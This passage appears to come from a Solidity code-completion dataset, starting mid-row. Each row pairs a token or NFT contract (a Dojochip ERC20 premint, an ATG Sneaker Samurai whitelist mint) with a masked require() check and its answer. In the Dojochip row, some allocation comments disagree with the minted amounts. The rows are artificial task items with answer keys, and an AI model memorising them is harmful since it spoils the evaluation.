_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]+_balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]+_balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]+_balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]+_balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]+_balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]+_balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]+_balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]+_balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]+_balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]+_balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]+_balances[0x1107C27a0d63438339Eb958221479919a929042E]+_balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]+_balances[0x1b876EFF10554740009e10ad7399475a032d716F]+_balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]+_balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]+_balances[0xED44d99ddCBE241505F671019A0a70c9de234661]+_balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca]==totalPrivateSaleInstantDistro |
"Total Supply should be equal to 100mil" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(<FILL_ME>)
}
function _preDeploy() internal {
}
}
| totalSupply()==100_000_000ether,"Total Supply should be equal to 100mil" | 62,345 | totalSupply()==100_000_000ether |
"Address already claimed!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
// ░█████╗░██████╗░████████╗ ████████╗░█████╗░██╗░░██╗██╗░░░██╗░█████╗░
// ██╔══██╗██╔══██╗╚══██╔══╝ ╚══██╔══╝██╔══██╗██║░██╔╝╚██╗░██╔╝██╔══██╗
// ███████║██████╔╝░░░██║░░░ ░░░██║░░░██║░░██║█████═╝░░╚████╔╝░██║░░██║
// ██╔══██║██╔══██╗░░░██║░░░ ░░░██║░░░██║░░██║██╔═██╗░░░╚██╔╝░░██║░░██║
// ██║░░██║██║░░██║░░░██║░░░ ░░░██║░░░╚█████╔╝██║░╚██╗░░░██║░░░╚█████╔╝
// ╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░ ░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░
//
// ░██████╗░██╗░░░░░░█████╗░██████╗░░█████╗░██╗░░░░░
// ██╔════╝░██║░░░░░██╔══██╗██╔══██╗██╔══██╗██║░░░░░
// ██║░░██╗░██║░░░░░██║░░██║██████╦╝███████║██║░░░░░
// ██║░░╚██╗██║░░░░░██║░░██║██╔══██╗██╔══██║██║░░░░░
// ╚██████╔╝███████╗╚█████╔╝██████╦╝██║░░██║███████╗
// ░╚═════╝░╚══════╝░╚════╝░╚═════╝░╚═╝░░╚═╝╚══════╝
/**
* @title Art Tokyo Global
* @author 0xjikangu
* @notice This is the Main NFT contract for ATG: Sneaker Samurai by Takumi Iwase
*/
contract ATGxSneakerSamurai is ERC721AQueryable, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public comWhitelistClaimed;
mapping(uint256 => bool) public holderList;
struct mintReserve {
address addr;
bool claimed;
uint256 ids;
}
string public uriPrefix = "ipfs://QmX1n56FNTtFbZeTCt3JsdhF4y7PpTAk9uCtTe9tvXmmcc/";
string public uriSuffix = ".json";
string public projName;
string public projDescription;
string public projId;
string public artistId;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx = 1;
uint256 public reserveCount = 0;
uint256 public reserveSupply = 1851;
mapping(uint256 => mintReserve) public reserveList;
bool public paused = true;
bool public comWhitelistMintEnabled = false;
bool public whitelistMintEnabled = false;
bool public revealed = false;
bool public dynamicStart = false;
// ATG Main Constructor
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _projName,
string memory _projDescription,
string memory _projId,
string memory _artistId
) ERC721A(_tokenName, _tokenSymbol) {
}
/* Mint Compliance */
// Requirement for mint to work
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @notice Community Whitelist Mint Function
*/
function comWhitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
// Verify whitelist requirements
require(comWhitelistMintEnabled, "The community whitelist sale is not enabled!");
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!");
require(reserveCount + _mintAmount <= reserveSupply, "comWhitelist: Insufficient Spots");
reserveCount += uint16(_mintAmount);
comWhitelistClaimed[_msgSender()] = true;
reserveList[reserveCount].addr = msg.sender;
reserveList[reserveCount].claimed = false;
reserveList[reserveCount].ids = reserveCount;
}
/**
* @notice Public Whitelist Mint Function
*/
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Public Mint Function
*/
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Mint to address
*/
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
/**
* @param _addr The Wallet address you wish to check
* @param _amount The Total amount the wallet has minted
* @notice Requirement: Wallet must have minted for reserve to exist.
* @return arr IDs return should be more than 0
*/
function checkReserveAddr(address _addr, uint256 _amount) public view returns (uint256[] memory) {
}
/**
* @notice Team reserve tokens function
*/
function reserveTokens (address _receiver, uint256 _mintAmount) public onlyOwner {
}
/**
* @notice Execute airdrops to Holders addresses
*/
function airdropHoldersTokens(address[] calldata hAddresses, uint256[] calldata tokenAmt, uint256[] calldata tokenId) public onlyOwner {
}
/**
* @notice Execute airdrops to Reserves addresses
*/
function airdropReservesTokens(address[] calldata hAddresses, uint256[] calldata tokenAmt, uint256[] calldata reserveId) public onlyOwner {
}
/**
* @notice Set Reserves'ids Claim status
*/
function setReserveClaimStatus (uint256 reserveId, bool _claim) public onlyOwner {
}
/**
* @notice Set Holder'ids Claim status
*/
function setHolderClaimStatus (uint256 tokenId, bool _claim) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/** @notice Set Token Metadata Uri */
function tokenURI(uint256 _tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
/** @notice Set reveal status */
function setRevealed(string memory _uriPrefix, bool _state) public onlyOwner {
}
/** @notice Set Reserve Supply */
function setReserveSupply(uint256 _reserveSupply) public onlyOwner {
}
/** @notice Set Current Mint Price */
function setCost(uint256 _cost) public onlyOwner {
}
/** @notice Set Max Mint Amount */
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
/** @notice Set Current Project Name */
function setProjName(string memory _projName) public onlyOwner {
}
/** @notice Set Current Project Description */
function setProjDescription(string memory _projDescription) public onlyOwner {
}
/** @notice Set Current Project Id */
function setProjId(string memory _projId) public onlyOwner {
}
/** @notice Set Current Artist Id */
function setArtistId(string memory _artistId) public onlyOwner {
}
/** @notice Set Token Uri Prefix */
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
/** @notice Set Token Uri Suffix */
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/** @notice Set Contract Status */
function setPaused(bool _state) public onlyOwner {
}
/** @notice Set Whitelist Root Hash */
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/** @notice Set Community Whitelist Status */
function setComWhitelistMintEnabled(bool _state) public onlyOwner {
}
/** @notice Set Whitelist Status */
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
/* Opensea Operator Filter Registry */
// Requirement for royalties in OS
function transferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (ERC721A, IERC721A)
onlyAllowedOperator(from)
{
}
/**
* @notice Withdrawal of Fund
*/
function withdrawFund() external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !comWhitelistClaimed[_msgSender()],"Address already claimed!" | 62,444 | !comWhitelistClaimed[_msgSender()] |
"comWhitelist: Insufficient Spots" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
// ░█████╗░██████╗░████████╗ ████████╗░█████╗░██╗░░██╗██╗░░░██╗░█████╗░
// ██╔══██╗██╔══██╗╚══██╔══╝ ╚══██╔══╝██╔══██╗██║░██╔╝╚██╗░██╔╝██╔══██╗
// ███████║██████╔╝░░░██║░░░ ░░░██║░░░██║░░██║█████═╝░░╚████╔╝░██║░░██║
// ██╔══██║██╔══██╗░░░██║░░░ ░░░██║░░░██║░░██║██╔═██╗░░░╚██╔╝░░██║░░██║
// ██║░░██║██║░░██║░░░██║░░░ ░░░██║░░░╚█████╔╝██║░╚██╗░░░██║░░░╚█████╔╝
// ╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░ ░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░
//
// ░██████╗░██╗░░░░░░█████╗░██████╗░░█████╗░██╗░░░░░
// ██╔════╝░██║░░░░░██╔══██╗██╔══██╗██╔══██╗██║░░░░░
// ██║░░██╗░██║░░░░░██║░░██║██████╦╝███████║██║░░░░░
// ██║░░╚██╗██║░░░░░██║░░██║██╔══██╗██╔══██║██║░░░░░
// ╚██████╔╝███████╗╚█████╔╝██████╦╝██║░░██║███████╗
// ░╚═════╝░╚══════╝░╚════╝░╚═════╝░╚═╝░░╚═╝╚══════╝
/**
* @title Art Tokyo Global
* @author 0xjikangu
* @notice This is the Main NFT contract for ATG: Sneaker Samurai by Takumi Iwase
*/
contract ATGxSneakerSamurai is ERC721AQueryable, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public comWhitelistClaimed;
mapping(uint256 => bool) public holderList;
struct mintReserve {
address addr;
bool claimed;
uint256 ids;
}
string public uriPrefix = "ipfs://QmX1n56FNTtFbZeTCt3JsdhF4y7PpTAk9uCtTe9tvXmmcc/";
string public uriSuffix = ".json";
string public projName;
string public projDescription;
string public projId;
string public artistId;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx = 1;
uint256 public reserveCount = 0;
uint256 public reserveSupply = 1851;
mapping(uint256 => mintReserve) public reserveList;
bool public paused = true;
bool public comWhitelistMintEnabled = false;
bool public whitelistMintEnabled = false;
bool public revealed = false;
bool public dynamicStart = false;
// ATG Main Constructor
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _projName,
string memory _projDescription,
string memory _projId,
string memory _artistId
) ERC721A(_tokenName, _tokenSymbol) {
}
/* Mint Compliance */
// Requirement for mint to work
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @notice Community Whitelist Mint Function
*/
function comWhitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
// Verify whitelist requirements
require(comWhitelistMintEnabled, "The community whitelist sale is not enabled!");
require(!comWhitelistClaimed[_msgSender()], "Address already claimed!");
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!");
require(<FILL_ME>)
reserveCount += uint16(_mintAmount);
comWhitelistClaimed[_msgSender()] = true;
reserveList[reserveCount].addr = msg.sender;
reserveList[reserveCount].claimed = false;
reserveList[reserveCount].ids = reserveCount;
}
/**
* @notice Public Whitelist Mint Function
*/
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Public Mint Function
*/
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Mint to address
*/
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
/**
* @param _addr The Wallet address you wish to check
